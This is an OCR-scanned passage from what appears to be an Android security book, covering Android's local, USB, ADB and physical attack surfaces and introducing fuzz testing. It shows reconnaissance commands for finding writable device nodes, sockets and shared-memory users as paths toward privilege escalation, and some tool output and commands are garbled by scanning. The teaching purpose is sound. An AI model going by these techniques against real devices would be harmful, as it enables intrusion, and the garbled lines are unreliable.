phone numbers, contact information, URLs, and images. Parsing these types of 
messages often results in performing actions such as pairing Bluetooth devices, 
launching the web browser, dialer, YouTube, or Maps applications, and more. 
In some cases these operations are performed without any user interaction, 
which is especially attractive to an attacker. When beaming files, some devices 
launch the default viewer for the received file based on its file type. Each of 
these operations is an excellent example of an additional attack surface that 
lies beneath NFC. 

Several successful attacks leveraged NFC to compromise Android devices. 
As demonstrated by Charlie Miller, NFC can be used to automatically set up 
connections using other wireless technologies such as Bluetooth and Wi-Fi 
Direct. Because of this, it could be used to enable access to an attack surface that 
would otherwise not be available. Georg Wicherski and Joshua J. Drake dem- 
onstrated a successful browser attack that was launched via NFC at BlackHat 
USA in 2012. Also, as mentioned earlier, researchers from MWR Labs utilized 
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NFC to exploit a file format parsing vulnerability in the Polaris Office document 
suite at the 2012 Mobile Pwn2Own. These attacks demonstrate that the attack 
surface exposed by NFC support on Android can definitely lead to successful 
device compromises. 


Other Technologies 


Apart from wireless communications, a couple of other technologies contribute to 
the overall attack surface of Android devices. More specifically, Quick Response 
(QR) codes and voice commands could theoretically lead to a compromise. This 
is especially true in the case of Google Glass—which is based on Android—and 
newer Android devices like the Moto X and Nexus 5. Early versions of Google 
Glass would process QR codes whenever a picture was taken. Lookout Mobile 
Security discovered that a surreptitiously placed OR code could cause Google 
Glass to join a malicious Wi-Fi network. From there, the device could be attacked 
further. Additionally, Google Glass makes extensive use of voice commands. 
An attacker sitting next to a Google Glass user can speak commands to the 
device to potentially cause it to visit a malicious website that compromises the 
device. Though it is difficult to target the underlying implementation of these 
technologies, the functionality provided leaves room for abuse and thus a 
potential compromise of the device. 


Local Attack Surfaces 


When an attacker has achieved arbitrary code execution on a device, the next 
logical step is to escalate privileges. The ultimate goal is to achieve privileged 
code execution in kernel space or under the r oot ors ys tem user. However, gain- 
ing even a small amount of privileges, such as a supplementary group, often 
exposes more restricted attack surfaces. In general, these attack surfaces are the 
most obvious to examine when attempting to devise new rooting methods. As 
mentioned in Chapter 2, the extensive use of privilege separation means that 
several minor escalations might need to be combined in order to achieve the 
ultimate goal. 

This section takes a closer look at the various attack surfaces exposed to code 
that’s already executing on a device, whether it be an Android app, a shell via 
ADB, or otherwise. The privileges required to access these attack surfaces var- 
ies depending on how the various endpoints are secured. In an effort to ease 
the pain associated with the extensive privilege separation used on Android, 
this section introduces tools that can be used to examine OS privileges and 
enumerate exposed endpoints. 


161 


162 


Chapter 5 = Understanding Android’s Attack Surface 


Exploring the File System 


Android's Unix lineage means that many different attack surfaces are exposed 
via entries in the file system. These entries include both kernel-space and user- 
space endpoints. On the kernel side, device driver nodes and special virtual file 
systems provide access to interact directly with kernel-space driver code. Many 
user-space components, like privileged services, expose IPC functionality via 
sockets in the PF_UNI X family. Further, normal file and directory entries with 
insufficiently restricted permissions give way to several attack classes. By sim- 
ply inspecting the entries within the file system you can find these endpoints, 
exercise the attack surface below them, and potentially escalate your privileges. 
Each file system entry has several different properties. First and foremost, 
each entry has a user and group that is said to own it. Next most important is 
the entry’s permissions. These permissions specify whether the entry can be 
read, written, or executed only by the owning user or group or by any user on 
the system. Also, several special permissions control type-dependent behav- 
iors. For example, an executable that is set-user-id or set-group-id executes with 
elevated privileges. Finally, each entry has a type that tells the system how to 
handle manipulations to the endpoint. Types include regular files, directories, 
character devices, block devices, First-In-First-Out nodes (FIFOs), symbolic links, 
and sockets. It’s important to consider all of these properties when determining 
exactly which attack surfaces are reachable given a particular level of access. 
You can enumerate file system entries easily using the opendir andstat sys- 
tem calls. However, some directories do not allow lesser privileged users to list 
their contents (those lacking the read bit). As such, you should enumerate the file 
system with root privileges. To make it easier to determine file system entries 
that could be interesting, Joshua J. Drake developed a tool called canhazaxs. The 
following excerpt shows this tool in action on a Nexus 4 running Android 4.4. 
oot @mako:/data/local/tmp # ./canhazaxs -u shell -g \ 
1003, 1004, 1007, 1009, 1011, 1015, 1028, 3001, 3002, 3003, 3006 /dev /data 
*] uid=2000(shell), 
groups=2000(shell),1003( graphics), 1004(input),1007(10g),1009( mount), 1011 
adb 
A aaa ad E A E T E 
3006(net_bw_stats) 
*] Found 0 entries that are set-uid executable 
*] Found 1 entries that are set-gid executable 
directory 2750 system shell /data/misc/adb 
*] Found 62 entries that are writable 


.] 


file 0666 system system /dev/cpuctl/apps/tasks 


| 
chardev 0666 system system /dev/genl ock 
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[ive] 
socket 0666 root system /dev/socket/pb 
[eeil 


directory 0771 shell shell /data/local/tmp 
Feed 


The- u and - g options passed to canhazaxs correspond to the user and groups 
that should be considered when determining whether the entry is readable, 
writable, or executable. After those options, you can specify any number of 
directories to inspect. For each of these directories, canhazaxs recursively enu- 
merates entries in all directories within. After everything is inspected, entries 
that are accessible are shown prioritized by potential impact. For each entry, 
canhazaxs shows the type, permissions, user, group, and path. This streamlines 
the process of enumerating attack surfaces exposed via the file system. 

Finding the code behind each endpoint depends on the type of entry. For 
kernel drivers, searching the kernel source code for the specific entry’s name, 
as discussed further in Chapter 10, is the best method. It’s difficult to find 
exactly what code operates on any particular regular file or directory. However, 
inspecting thei nit. rc and related commands have led to the discovery of 
privilege escalation vulnerabilities in the past. Determining the code behind 
a socket endpoint can be tricky and is discussed further in the “Finding the 
Code Behind a Socket” section later in this chapter. When you find the code, you 
can determine the functionality provided by the endpoint. The deeper attack 
surfaces beneath these endpoints present an opportunity to uncover previously 
unknown privilege escalation issues. 


Finding Other Local Attack Surfaces 


Not all local attack surfaces are exposed via entries in the file system. Additional 
attack surfaces exposed by the Linux kernel include system calls, socket imple- 
mentations, and more. Many services and apps in Android expose attack surfaces 
locally through different types of IPC, including sockets and shared memory. 


System Calls 


The Linux kernel has a rich attack surface that is exposed to local attackers. 
Apart from things represented by an entry in the file system, the Linux kernel 
also processes potentially malicious data when it executes system calls. As 
such, system call handler functions inside the kernel represent an interesting 
attack surface. Finding such functions is easily accomplished by searching for 
the SYSCALL_DEFINE string within the kernel source code. 
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Sockets 


Software running on Android uses various types of sockets to achieve IPC. To 
understand the full extent of the attack surface exposed by various types of 
sockets you must first understand how sockets are created. Sockets are created 
using the socket system call. Although various abstractions for creating and 
managing sockets exist throughout Android, all of them eventually use the 
socket system call. The following excerpt from the Linux manual page shows 
this system call’s function prototype: 


int socket(int domain, int type, int protocol); 


The important thing to understand is that creating a socket requires specify- 
ing adomain,type,and protocol. Thedomain parameter is most important as 
its value determines how the protocol parameter is interpreted. More detailed 
information about these parameters, including supported values for each, can 
be found from the Linux manual page for the socket function. Further, it’s 
possible to determine which protocols are supported by an Android device by 
inspecting the/ proc/net/ protocols file system entry: 


shell @ghost:/data/local/tmp $ ./busybox wc -I /proc/net/ protocols 
24 /proc/net/protocols 


Each of the entries in this file represents an interesting attack surface to 
explore further. The source code that implements each protocol can be found 
within the Linux kernel source in the net subdirectory. 


Common Socket Domains 


Most Android devices make extensive use of sockets in the PF_UNI X, PF_I NET, 
and PF_NETLI NK domains. Sockets in the PF_! NET domain are further broken 
down into those that use the SOCK_STREAM and SOCK_DGRAM types, which use 
the TCP and UDP protocols. Detailed information about the status of instances 
of each type of socket can be obtained via entries in the / proc/ net directory 
as depicted in Table 5-2. 


Table 5-2: Status Files for Common Socket Domains 


SOCKET DOMAIN STATUS FILE 


PF_UNI X /proc/net/ unix 
PF_I NET (OCK_ STREAM) /proc/net/tcp 
PF_| NET (SOCK DGRAM) /proc/net/udp 
PF NETLI NK /proc/net/netlink 


The first, and most commonly used, socket domain is the PF _UNI X domain. 
Many services expose IPC functionality via sockets in this domain, which 
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expose endpoints in the file system that can be secured using traditional user, 
group, and permissions. Because an entry exists in the file system, sockets of 
this type will appear when using the methods discussed in the “Exploring the 
File System” section earlier in this chapter. 

In addition to traditional PF_ UNI X domain sockets, Android implements a 
special type of socket called an Abstract Namespace Socket. Several core system 
services use sockets in this domain to expose IPC functionality. These sockets 
are similar to PF_UNI X sockets but do not contain an entry in the file system. 
Instead, they are identified only by a string and are usually written in the form 
@socketName. For example, the /system/bin/debuggerd program creates an 
abstract socket called @androi d: debugger d. These types of sockets are created 
by specifying a NUL byte as the first character when creating a PF_UNI X socket. 
The characters that follow specify the socket’s name. Because these types of 
sockets do not have a file system entry, they cannot be secured in the same 
way as traditional PF_UNI X sockets. This fact makes abstract socket endpoints 
an interesting target for further exploration. 

Any application that wants to talk to hosts on the Internet uses PF _| NET sockets. 
On rare occasions, services and apps use PF_| NET sockets to facilitate IPC. As 
shown earlier, this socket domain includes communications that use TCP and 
UDP protocols. To create this type of socket, a process must have access to the 
inet Android ID (AID). This is due to Android’s Paranoid Networking feature 
that was first discussed in Chapter 2. These types of sockets are especially 
interesting when used for IPC or to implement a service exposed to the network. 

The final common type of socket in Android is the PF_NETL! NK socket. These 
types of sockets are usually used to communicate between kernel-space and 
user-space. User-space processes, such as / system/ bi n/ vol d, listen for events 
that come from the kernel and process them. As previously discussed in Chapter 
3, the GingerBreak exploit relied on a vulnerability in vol d’s handling of a 
maliciously crafted NETLI NK message. Attack surfaces related to PF_NETLI NK 
sockets are interesting because they exist in both kernel-space and privileged 
user-space processes. 


Finding the Code Behind a Socket 


On typical Linux systems, you can match processes to sockets using the | sof 
command or the net st at command with the - p option. Unfortunately, this 
doesn’t work out of the box on Android devices. That said, using a properly 
built BusyBox binary on a rooted device is able to achieve this task: 

root @mako:/data/local/tmp #./busybox netstat -anp | grep /dev/socket/ pb 


unix 2 [ ] DGRAM 5361 184/ mpdecision 
/dev/socket/pb 


Using the preceding single command, you are able to discover that / dev/ 
socket/ pb isin use by process ID 184 called mpdeci sion. 
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In the event that a properly built BusyBox is not available, you can achieve the 
same task using a simple three-step process. First, you use the specific entries 
within the proc file system to reveal the process that owns the socket: 

root@mako:/data/local/tmp # ./busybox head -1 /proc/net/unix 

Num RefCount Protocol Flags Type St Inode Path 


root@mako:/data/local/tmp # grep /dev/socket/pb /proc/net/uni x 
00000000: 00000002 00000000 00000000 0002 01 5361 /dev/socket/ pb 


In this example, you can see the / dev/socket/pb entry inside the special 
/proc/net/ unix file. The number that appears immediately before the path is 
the inode number for the file system entry. Using the inode, you can see which 
process has an open file descriptor for that socket: 


root@mako:/data/local/tmp # ./busybox Is -I /proc/[0-9]*/fd/* | grep 5361 


|T WX-- -> 1 root root 64 Jan 2 22:03 /proc/184/fd/7 -> 
socket:[5361] 


Sometimes this command shows that more than one process is using the socket. 
Thankfully, it’s usually obvious which process is the server in these cases. With 
the process ID in hand, it’s simple to find more information about the process: 

root @mako:/data/local/tmp # ps 184 


USER PID PPID VSIZE RSS WCHAN PC NAME 
root 184 1 7208 492 ffffffff b6ea0908 S /system/bin/ mpdecision 


Regardless of whether you use the BusyBox method or the three-step method, 
you now know where to start looking. 

Sockets represent a significant local attack surface due to the ability to commu- 
nicate with privileged processes. The kernel-space code that implements various 
types of sockets might allow privilege escalation. Services and applications in 
user-space that expose socket endpoints might also allow privilege escalation. 
These attack surfaces represent an interesting place to look for security issues. 
By locating the code, you can look more closely at the attack surface and begin 
your journey toward deeper attack surfaces within. 


Binder 


The Binder driver, as well as software that relies on it, presents an attack surface 
that is unique to Android. As previously discussed in Chapter 2 and further 
explored in Chapter 4, the Binder driver is the basis of Intents that are used 
to communicate between app-level Android components. The driver itself is 
implemented in kernel-space and exposes an attack surface via the / dev/ bi nder 
character device. Then, Dalvik applications communicate with one another 
through several levels of abstraction built on top. Although sending Intents 
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from native applications is not supported, it is possible to implement a service 
in native code directly on top of Binder. Because of the many ways Binder can 
be used, researching deeper attack surfaces might ultimately lead to achieving 
privilege escalation. 


Shared Memory 


Although Android devices do not use traditional POSIX shared memory, they 
do contain several shared memory facilities. As with many things in Android, 
whether a particular facility is supported varies from one device to the next. 
As introduced in Chapter 2, Android implements a custom shared memory 
mechanism called Anonymous Shared Memory, or ashmem for short. You can 
find out which processes are communicating using ashmem by looking at the 
open file descriptors in the / proc file system: 

root @mako:/data/local/tmp # ./busybox Is -id /proc/[0-9]*/fd/* | \ 

grep /dev/ashmem | ./busybox awk -F/ ‘{print $3}' | ./busybox sort -u 

[oss] 
176 
31897 
31915 
596 


686 
856 


In addition to ashmem, other shared memory facilities—for example, Google’s 
pmem, Nvidia’s NvMap, and ION—exist on only a subset of Android devices. 
Regardless of which facility is used, any shared memory used for IPC represents 
a potentially interesting attack surface. 


Baseband Interface 


Android smartphones contain a second operating system known as the baseband. 
In some devices the baseband runs on an entirely separate physical central pro- 
cessing unit (CPU). In others, it runs in an isolated environment on a dedicated 
CPU core. In either situation, the Android operating system must be able to speak 
to baseband in order to make and receive calls, text messages, mobile data, and 
other communications that traverse the mobile network. The exposed endpoint, 
which varies from one device to the next, is considered an attack surface of the 
baseband itself. Accessing this endpoint usually requires elevated privileges 
such as to the radi o user or group. It’s possible to determine exactly how the 
baseband is exposed by looking at the ri | d process. More information about 
Android’s Telephony stack, which abstracts access to the baseband interface, is 
presented in Chapter 11. 
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Attacking Hardware Support Services 


A majority of Android devices contain myriad peripheral devices. Examples 
include GPS transceivers, ambient light sensors, and gyroscopes. The Android 
Framework exposes a high-level API to access information provided by these 
peripherals to Android applications. These APIs represent an interesting attack 
surface because data passed to them might be processed by privileged services 
or even the peripheral itself. The exact architecture for any given peripheral 
varies from one device to the next. Because of the layers between the API and 
the peripherals, the exposed API attack surface serves as an excellent example 
of how deeper attack surfaces lie beneath more shallow ones. A more thorough 
examination of this set of attack surfaces is beyond the scope of this book. 


Physical Attack Surfaces 


Attacks that require physically touching a device are said to lie within the physical 
attack surface. This is in contrast to physical adjacency where the attacker only 
needs to be within a certain range of the target. Attacking a mobile device using 
physical access may seem less exotic and easier than other attacks. In fact, most 
view physical attacks as being impossible to defend against. Consequently, you 
might feel compelled to categorize these attacks as low severity. However, these 
attacks can have very serious implications, especially if they can be executed in 
short periods of time or without the victim knowing. 

Over the past few years, researchers discovered several real-world attacks 
that take advantage of the physical attack surface. Many of the first jailbreaks 
for iOS devices required a Universal Serial Bus (USB) connection to the device. 
Additionally, forensic examiners rely heavily on the physical attack surface 
to either recover data or surreptitiously gain access to a phone. In early 2013, 
researchers published a report detailing how they discovered public phone 
charging stations that were launching attacks against select devices to install 
malware. After it was installed, the malware would attempt to attack host 
computers when the infected mobile devices were connected to them. These 
are just some of the many examples of how attacks against the physical attack 
surface can be more serious than you might initially assume. Physical attacks 
aren't as contrived as you might've first thought! 

In order to further classify this category, we consider several criteria. First, we 
decide whether it is acceptable to dismantle the target device. Taking a device 
apart is not desirable because it carries a risk of causing damage. Still, attacks of 
this nature can be powerful and should not be ruled out. Next, we examine the 
possibilities that do not require disassembling the device. These attack vectors 
include any peripheral access, such as USB ports and expandable storage media 
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(usually microSD) slots. The rest of this section discusses these attack vectors 
and the attack surfaces beneath them. 


Dismantling Devices 


Disassembling a target device enables attacks against the very hardware that 
powers it. Many manufacturers assume the esoteric nature of computer hard- 
ware and electrical engineering is enough to protect a device. Because probing 
the attack surface exposed by dismantling an Android device requires niche 
skills and/or specialized hardware, manufacturers typically do not adequately 
protect the hardware. It is therefore very advantageous to learn about some of 
the physical attack surface exposed by just opening many devices. Opening a 
hardware device often reveals: 


m Exposed serial ports, which allow for receiving debug messages or, in 
some cases, providing shell access to the device 


m Exposed JTAG debug ports, which enable debugging, flashing, or access- 
ing the firmware of a device 


In the rare event that an attacker does not find these common interfaces, other 
attacks are still possible. It is a very practical and real attack is to physically 
remove flash memory or the core CPU (which often contains internal flash). 
Once removed, an attacker can easily read the boot loader, boot configuration, 
and full flash file-system off of the device. These are only a handful of attacks 
that can be executed when an attacker has possession of a device. 

Fortunately for you, this book does not just mention these things generally as 
many other books have. Instead, this book demonstrates how we have employed 
these techniques in Chapter 13. We will not delve into these physical attacks 
much further in this chapter. 


USB 


USB is the standard wired interface for Android devices to interact with other 
devices. Although iPhones have proprietary Apple connectors, most Android 
devices have standard micro USB ports. As the primary wired interface, USB 
exposes several different kinds of functionality that directly relate to the ver- 
satility of Android devices. 

Much of this functionality depends on the device being in a particular mode 
or having certain settings enabled in the device’s configuration. Commonly 
supported modes include ADB, fastboot, download mode, mass storage, media 
device, and tethering. Not all devices support all modes. Some devices enable 
some modes, such as mass storage or Media Transfer Protocol (MTP) mode, by 
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default. Other USB modes, such as fastboot and download mode, depend on 
holding certain key combinations at boot. Further, some devices have a menu 
that enables you select which mode to enter after the USB device is connected. 
Figure 5-7 shows the USB connection type menu from an HTC One V. 


by + = 01:06 


Choose a connection type: 


Charge only Disk drive 
Charge phone over Mount as disk drive 


USB 
CQ HTC Sync Manager 


Sync music, photos, videos 
and more 


Fa) USB tethering 
eg Share phone's mobile network 
with PC 


Internet pass-through 


Figure 5-7: HTC One V USB Mode Menu 


The exact attack surfaces exposed depends on which mode the device is in or 
which features are enabled. For all modes, drivers in the boot loader or Linux 
kernel support the USB hardware. On top of those drivers, additional software 
handles communicating using the protocols specific to each particular type of 
functionality. Prior to Android 4.0, many devices use mass storage mode by 
default. That said, some devices require enabling mass storage mode explicitly 
by clicking a button on the screen. Android 4.x and later removed support for 
mass storage mode entirely. It was clunky and required unmounting the / sdcar d 
partition from the device while the host machine was accessing it. Instead, later 
devices use MTP mode by default. 


Enumerating USB Attack Surfaces 


In literature, a USB device is often referred to as a function. That is, it is a device 
that provides some added functionality to the system. In reality, a single USB 


device could have many different functions. Each USB device has one or more 
configurations, which in turn have at least one interface. An interface specifies 
the collection of endpoints that represent the means of communicating with a 
particular function. Data flows to or from an endpoint only in one direction. If 
a device function requires bidirectional communications it will define at least 
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two endpoints. 


Tools like | susb and the! i busb library enable us to further enumerate the 
attack surface exposed by a USB device from the host to which it is connected. 
The | susb tool is capable of displaying detailed information about the interfaces 
and endpoints supported by a device. The following excerpt shows the interface 


and endpoints for ADB on an HTC One X+: 


dev: ~# Is 


Bus 001 Device 067 


usb -v -d Obb4: 0dfc 


Device Descriptor: 


pesa] 

idVendo 
idProdu 
bcdDevi 
i Manufa 
i Produc 


bNumCon 


bNuml 


nter 
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bln 
bln 
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iln 
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b 
b 
b 
b 


End 
b 
b 


r 0x0bb4 High Tech Computer Corp. 
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ace Descriptor: 


mEndpoints 
erfaceClass 
erfaceSubCl ass 
erfaceProtocol 
erface 


Length 
DescriptorType 
EndpointAddress 
mAttributes 
Transfer Type 
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Usage Type 


point Descriptor: 


Length 
DescriptorType 


point Descriptor: 


ID Obb4: 0dfc High Tech Computer Corp. 


Configuration Descriptor: 


255 Vendor Specific Class 


2 
66 
1 
0 
7 
5 
0x83 EP 3 IN 
2 
Bul k 
None 
Data 
7 
5 


171 


172 Chapter 5 = Understanding Android’s Attack Surface 


bEndpointAddress 0x03 EP 3 OUT 
bmAttributes 2 
Transfer Type Bulk 
Synch Type None 
Usage Type Data 


[...] 


You can then communicate with individual endpoints with | i bus b, which 
also has bindings for several high-level languages like Python and Ruby. 

Android devices support multiple functions simultaneously on a single USB 
port. This support is called Multifunction Composite Gadget, and the software 
behind it is called the Gadget Framework. On a device, you can often find more 
information about supported USB modes from thei ni t configuration files. For 
example, the Nexus 4 has a file called / i nit. mako. usb. rc that details all the 
possible mode combinations along with their associated vendor and product 
ids. The following is the entry for the default mode: 


on property:sys.usb. confi g=mtp 
stop adbd 
write /sys/class/android_usb/android0/enable 0 
write /sys/class/android_usb/android0/idVendor 18D1 
write /sys/class/android_usb/android0/idProduct 4EE1 
write /sys/class/android_usb/android0/bDeviceClass 0 
write /sys/class/android_usb/android0/bDeviceSubClass 0 
write /sys/class/android_usb/android0/bDeviceProtocol 0 
write /sys/class/android_usb/android0/functions mtp 
write /sys/class/android_usb/android0/enable 1 
Setprop sys.usb.state ${sys.usb. config} 


The preceding excerpt tells i ni t how to react when someone sets the 
sys. usb. config property to mt p. In addition to stopping the ADB daemon, i ni t 
also reconfigures the Gadget Framework through /sys/class/android_usb. 

Additionally, you can find information about how the Android Framework 
manages USB devices within the AOSP repository. The following excerpt shows 
the various modes Android supports within the f rameworks/ base project: 


dev: ~/android/source/frameworks/base$ git grep USB_FUNCTI ON_ 


core/java/android/hardware/usb/ UsbManager. java: 57: * <li> {@link 
#USB_FUNCTI ON MASS STORAGE} boolean extra indicating whether the 
ore/java/android/hardware/usb/UsbManager. java: 59: * <li> {@link 
USB_ FUNCTION ADB} boolean extra indicating whether the 
ore/java/android/hardware/usb/UsbManager. j ava: 61: * <li> {@link 
USB_FUNCTION_RNDIS} boolean extra indicating whether the 
bManager. j ava: 63: * <li> {@link 


USB_FUNCTION_MTP} boolean extra indicating whether the 
ore/java/android/hardware/usb/U anager.java: 65: * <li> {@link 
USB_FUNCTION_PTP} boolean extra indicating whether the 
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#USB_FUNCTION PTP} boolean extra indicating whether the 
core/j ava/android/hardware/usb/UsbManager. java: 69: * <li> {@link 
#USB_ FUNCTION AUDIO SOURCE} boolean extra indicating whether the 


Digging deeper into the set of attack surfaces exposed over USB depends 
on the precise functionality and protocols supported by the various interfaces. 
Doing so is beyond the scope of this chapter, but Chapter 6 takes a closer look 
at one such interface: Media Transfer Protocol (MTP). 


ADB 


Android devices that are used for development often have USB debugging 
enabled. This starts the ADB daemon, which allows executing commands with 
special privileges on an Android device. On many devices, especially those run- 
ning versions of Android before 4.2.2, no authentication is required to access 
the ADB shell. Further, the T-Mobile HTC One with software version 1.27.531.11 
exposed ADB with no authentication by default and did not allow disabling it. 
As you can imagine, this kind of access to a device makes some very interesting 
attacks easy to accomplish. 

Researchers such as Kyle Osborn, Robert Rowley, and Michael Miiller dem- 
onstrated several different attacks that leveraged ADB access to a device. Robert 
Rowley presented about “Juice Jacking” attacks at several conferences. In these 
attacks, an attacker creates a charging station that can surreptitiously down- 
load a victim's data or potentially install malicious software on their device. 
Although Rowley’s kiosk only educated the public about these threats, a mali- 
cious actor may not be so kind. Kyle Osborn, and later Michael Müller, created 
tools to download a victim’s data using ADB. Kyle Osborn’s tool was specifically 
designed to run on the attacker’s Android device to enable what’s known as a 
“physical drive-by” attack. In this attack, the attacker connects her device to the 
victim’s device when the victim leaves it unattended. Stealing the most sensitive 
data on a device takes only a few moments and makes this attack surprisingly 
effective. Thankfully, later versions of Android added authentication by default 
for ADB. This effectively mitigates these types of attacks, but does not eliminate 
the ADB attack surface entirely. 


Other Physical Attack Surfaces 


Although USB is the most ubiquitous physical attack surface exposed on Android 
devices, it is not the only one. Other physical attack surfaces include SIM Cards 
(for smartphones), SD Cards (for devices that support expandable storage), HDMI 
(for devices with such ports), exposed test points, docking connectors, and so 
on. Android contains support for all of these interfaces by way of various types 
of software range from kernel drivers to Android Framework APIs. Exploring 
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the attack surfaces beneath these interfaces is beyond the scope of this chapter 
and is left as an exercise to the interested reader. 


Third-Party Modifications 


As discussed in Chapter 1, several parties involved in creating Android devices 
modify various parts of the system. In particular, OEMs tend to make exten- 
sive changes as part of their integration process. The changes made by OEMs 
are not limited to any one area, but instead tend to be sprinkled throughout. 
For example, many OEMs bundle particular applications in their builds, such 
as productivity tools. Many even implement features of their own inside the 
Android Framework, which are then used elsewhere in the system. All of these 
third-party modifications can, and often do, increase the attack surface of a 
given device. 

Determining the full extent and nature of these changes is a difficult and 
mostly manual process. The general process involves comparing a live device 
against a Nexus device. As previously mentioned in Chapter 2, most devices host 
many running processes that do not exist in vanilla Android. Comparing output 
from the ps command and file system contents between the two devices will 
show many of the differences. Thei ni t configuration files are also useful here. 
Examining changes to the Android Framework itself will require specialized 
tools for dealing with Dalvik code. When differences are located, discovering the 
additional attack surface that such software introduces is quite an undertaking, 
usually requiring many hours of reverse engineering and analysis. 


Summary 


This chapter explored all of the various ways that Android devices can be 
attacked. It discussed how the different properties of applicable attack vectors 
and attack surfaces help prioritize research efforts. 

By breaking Android’s attack surfaces into four high-level categories based 
on access complexities, this chapter drilled deeper into the underlying attack 
surfaces. It covered how different types of adjacency can influence what kinds 
of attacks are possible. 

This chapter also discussed known attacks and introduced tools and techniques 
that you can use to explore Android’s attack surface further. In particular, you 
learned how to identify exposed endpoints such as network services, local IPC 
facilities, and USB interfaces on an Android device. 

Because of the sheer size of the Android code base, it is impossible to exhaus- 
tively examine Android’s entire attack surface in this chapter. As such, we 
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encourage you to apply and extend the methods presented in this chapter to 
explore further. 

The next chapter expands upon the concepts in this chapter by further explor- 
ing several specific attack surfaces. It shows how you can find vulnerabilities 
by applying a testing methodology known as fuzzing. 
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Finding Vulnerabilities with Fuzz 
Testing 


Fuzz testing, or fuzzing for short, is a method for testing software input validation 
by feeding it intentionally malformed input. This chapter discusses fuzzing in 
great detail. It introduces you to the origins of fuzzing and explains the nuances 
of various associated tasks. This includes target identification, crafting inputs, 
system automation, and monitoring results. The chapter introduces you to the 
particulars of fuzzing on Android devices. Finally, it walks you through three 
fuzzers tested during the writing of this book, each with their own approaches, 
challenges, and considerations. These serve as examples of just how easy it is to 
find bugs and security vulnerabilities with fuzzing. After reading this chapter, 
you will understand fuzzing well enough to apply the technique to uncover 
security issues lurking in the Android operating system. 


Fuzzing Background 


Fuzz testing has a long history and has been proven effective for finding bugs. 
It was originally developed by Professor Barton Miller at the University of 
Wisconsin—Madison in 1988. It started as a class project to test various UNIX 
system utilities for faults. However, in the modern information security field 
it serves as a way for security professionals and developers to audit the input 
validation of software. In fact, several prominent security researchers have 
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written books entirely focused on the subject. This simple technique has led to 
the discovery of numerous bugs in the past, many of which are security bugs. 

The basic premise of fuzz testing is that you use automation to exercise as 
many code paths as is feasible. Processing a large number of varied inputs causes 
branch conditions to be evaluated. Each decision might lead to executing code 
that contains an error or invalid assumption. Reaching more paths means a 
higher likelihood to discover bugs. 

There are many reasons why fuzzing is popular in the security research com- 
munity. Perhaps the most attractive property of fuzz testing is its automated 
nature. Researchers can develop a fuzzer and keep it running while they go about 
various other tasks such as auditing or reverse engineering. Further, developing 
a simple fuzzer requires minimal time investment, especially when compared 
with manual binary or source code review. Several fuzzing frameworks exist that 
further reduce the amount of effort needed to get started. Also, fuzzing finds 
bugs that are overlooked during manual review. All of these reasons indicate 
that fuzzing will remain useful for the long term. 

Despite its advantages, fuzz testing is not without drawbacks. Most notably, 
fuzzing only finds defects (bugs). Classifying an issue as a security issue requires 
further analysis on the part of the researcher and is covered further in Chapter 
7. Beyond classification, fuzzing also has limitations. Consider fuzzing a 16-byte 
input, which is tiny in comparison to most common file formats. Because each 
byte can have 255 possible values, the entire input set consists of 319,626,579,315, 
078,487,616,775,634,918,212,890,625 possible values. Testing this enormous set of 
possible inputs is completely infeasible with modern technology. Finally, some 
issues might escape detection despite vulnerable code being executed. One 
such example is memory corruption that occurs inside an unimportant buffer. 
Despite these drawbacks, fuzzing remains tremendously useful. 

Compared to the larger information security community, fuzzing has received 
relatively little attention within the Android ecosystem. Although several people 
have openly discussed interest in fuzzing on Android, very few have talked 
openly about their efforts. Only a handful of researchers have publicly presented 
on the topic. Even in those presentations, the fuzzing was usually focused only 
on a single, limited attack surface. Further, none of the fuzzing frameworks that 
exist at the time of this writing address Android directly. In the grand scheme 
of things, the vast attack surface exposed on Android devices seems to have 
been barely fuzzed at all. 

In order to successfully fuzz a target application, four tasks must be 
accomplished: 


m Identifying a target 
m Generating inputs 
m Test-case delivery 


= Crash monitoring 
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The first task is identifying a target. The remaining three tasks are highly 
dependent on the first. After a target has been selected, you can accomplish 
input generation in a variety of ways, be it mutating valid inputs or producing 
inputs in their entirety. Then the crafted inputs must be delivered to the target 
software depending on the chosen attack vector and attack surface. Finally, 
crash monitoring is instrumental for identifying when incorrect behavior mani- 
fests. We discuss these four tasks in further detail in the following sections: 
“Identifying a Target,” “Crafting Malformed Inputs,” “Processing Inputs,” and 
“Monitoring Results.” 


Identifying a Target 


Selecting a target is the first step to crafting an effective fuzzer. Although a 
random choice often suffices when pressed for time, careful selection involves 
taking into account many different considerations. A few techniques that influ- 
ence target selection include analyzing program complexity, ease of implementa- 
tion, prior researcher experience, attack vectors, and attack surfaces. A familiar, 
complex program with an easy-to-reach attack surface is the ideal target for 
fuzzing. However, expending extra effort to exercise attack surfaces that are 
more difficult to reach may find bugs that would be otherwise missed. The level 
of effort invested into selecting a target is ultimately up to the researcher, but 
at a minimum attack vectors and attack surface should be considered. Because 
Android's attack surface is very large, as discussed in Chapter 5, there are many 
potential targets that fuzzing can be used to test. 


Crafting Malformed Inputs 


Generating inputs is the part of the fuzzing process that has the most variations. 
Recall that exploring the entire input set, even for only 16 bytes, is infeasible. 
Researchers use several different types of fuzzing to find bugs in such a vast 
input space. Classifying a fuzzer primarily comes down to examining the 
methods used to generate inputs. Each type of fuzzing has its own pros and 
cons and tends to yield different results. In addition to the types of fuzzing, 
there are two distinct approaches to generating input. 

The most popular type of fuzzing is called dumb-fuzzing. In this type of fuzz- 
ing, inputs are generated without concern for the semantic contents of the 
input. This offers quick development time because it does not require a deep 
understanding of the input data. However, this also means that analyzing a 
discovered bug requires more effort to understand the root cause. Essentially, 
much of the research costs are simply delayed until after potential security issues 
are found. When generating inputs for dumb-fuzzing, security researchers 
apply various mutation techniques to existing, valid inputs. The most common 
mutation involves changing random bytes in the input data to random values. 
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Surprisingly, mutation-based dumb-fuzzing has uncovered an extremely large 
number of bugs. It’s no surprise why it is the most popular type of fuzzing. 

Smart-fuzzing is another popular type of fuzz testing. As its name implies, 
smart-fuzzing requires applying intelligence to input generation. The amount 
of intelligence applied varies from case to case, but understanding the input’s 
data format is paramount. Although it requires more initial investment, smart- 
fuzzing benefits from a researcher’s intuition and output from analysis. For 
example, learning the code structure of a parser can immensely improve code 
coverage while eliminating unnecessarily traversing uninteresting code paths. 
Although mutation can still be used, smart-fuzzing typically relies on genera- 
tive methods in which inputs are generated entirely from scratch, usually using 
a custom program or a grammar based on the input data format. Arguably, 
a smart-fuzzer is more likely to discover security bugs than a dumb-fuzzer, 
especially for more mature targets that stand up to a dumb-fuzzer. 

Although there are two main types of fuzzing, nothing prevents using a hybrid 
